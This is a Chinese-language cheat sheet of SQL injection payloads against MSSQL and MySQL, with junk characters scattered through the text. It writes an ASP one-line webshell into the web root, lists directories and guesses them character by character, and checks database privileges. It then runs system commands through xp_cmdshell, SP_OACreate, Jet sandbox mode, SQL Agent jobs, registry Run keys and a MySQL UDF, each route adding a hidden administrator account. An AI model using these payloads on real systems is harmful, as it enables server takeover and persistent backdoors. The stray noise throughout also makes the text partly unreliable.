MSSQL语句导出一句话木马
" k$ ^ u' x# D) C6 P4 Z首先确定网站的WEB路径/ O1 \2 D" j# a! A$ ^
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
. |) e; \) v+ x: w2 P3 D1 D
" Y, y2 ~/ ~3 b' |2 \: G;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- 6 d! [1 T; f# C
//将一句话木马插入表中
. G4 d: n! J* H/ B5 N# s2 Z: o% v. h, v( |
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- $ z0 _/ C J/ X; i5 w5 g% [
//导出一个ASP文件
) @$ @5 R- P( h
6 v8 O Z; B$ o% N2 z% [8 }5 g) }: V: @1 P8 Z& j
关于MSSQL列目录+ F* y' }% y# A- [9 D
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表+ t! \8 K2 i' _+ |/ ^
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
' ^$ D2 N6 x0 s6 ]: {# H0 Z, J. G, {5 \& O
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
; s; t! k' ^; i5 |/ d# f0 p9 q3 n& r2 u# a1 H4 o* `
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段; f* x' i0 y& T$ f3 t
8 H( {0 ^/ a9 y# dAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符9 B. H6 j' ?3 M) S2 m2 K
, Y- C) a8 Z6 b" }3 y9 C0 c
& ~% X- H6 y0 b7 B5 L
数据库版本和权限查看% n! }* T0 C5 l
and 1=(select @@VERSION) //查看详细的数据库信息.
, O* J& U: b) t0 Wand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA+ R' P3 ~5 A* o9 V1 G Y1 `
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
% k8 h) G( C0 {& d- v/ t
5 ~) _' b- n! y9 j4 R. J; [6 o% Z+ S
1.利用xp_cmdshell执行命令* K5 d! A4 n" X6 Y: M+ J/ k
exec master..xp_cmdshell 'net user rfire 123456 /add'
( Z5 I( M% i9 G- ]! x' ?exec master..xp_cmdshell 'net localgroup administrators rfire /add': X8 E6 V' H7 W+ E( B
* ~+ j( l8 p. E! C6 I恢复xp_cmdshell存储过程9 c2 n: B, O0 A& s( v
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
8 @& x+ L1 E3 `. Z4 U: L6 y8 h0 C1 R4 x- V
$ f3 d+ D5 j, n0 ^+ \% s2 K+ W
2.利用SP_OAcreate和SP_OAMETHOD执行命令
9 |" t3 R* x8 E在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下$ ~0 }2 _% E+ Z% ^. C* t
DECLARE @shell INT //建立一个@shell实体7 \: S* a/ u; E6 b' Z s
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例+ M1 O: S z* J7 ~0 t. r+ g1 ^# J
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
9 V7 d# o2 I8 k" s: \: e& A; ]- x7 W1 l& i6 s% x
# O, H: y9 \" k9 r; u) }3.利用沙盒模式. [( Q: R/ ]9 q
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。& I- d9 x. N7 y1 e2 _8 P
开启沙盒模式: Y/ n( U! z8 |$ O, `8 U
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
, X: g6 x& {. A
+ ^ y S- t/ Z' O* }* N# d R6 t执行命令:
+ o, v% x3 o# |0 G2 mSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');0 [7 W/ y7 P; `; i
/ b5 k: C8 H+ ^6 n. H4 Y
. W2 W& t, Y/ p1 `3 c3 `4.利用SQL代理执行命令
2 U( y- O( M# K& @ ]EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务$ U) Y3 t# j) ]0 S
* v5 b, b1 k* f1 ?3 D% d
执行命令:
, y: |: M! P4 \/ C* b$ s e: Ouse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
& H, _ J! }' ], ?. o# R d; @# y& xexec sp_add_job 'x'- j2 x1 Q: {% F H# G- d
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
6 m0 R/ _7 O! c# N3 yexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
+ ]0 w# d+ z# k1 N* ? d+ [
) T/ k$ [# |; k
1 Z8 V+ S5 d9 q& ^5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)6 |( A7 Y7 s8 y% |2 U" S0 ?4 \% K
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
" F5 y. B( o9 K% k2 n8 ?/ l6 [4 Q/ {0 ?
1 B1 C5 l# m" w6 u6 z6.MYSQL的命令执行
# r, y# R, ^/ E/ `8 n; g oMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)) `) n0 ~2 i8 b' e& W( z( h1 N8 K
首先要在su.php下导出c:\windows\udf.dll+ y$ \. l2 ?7 `# R% x8 H7 `. F
导出后执行创建自定义函数命令:
2 X5 g5 }2 D9 _* g8 A) c, FCreate Function cmdshell returns string soname 'udf.dll'
R$ k7 U" X( d执行命令4 o6 O5 R; T: e! `4 w) z
select cmdshell('net user rfire 123456 /add')
. u) ?# ?# u1 u2 Y( d5 t, |- s* _执行后删除函数 drop function cmdshell3 F" S, Y0 J0 y! h% Q
|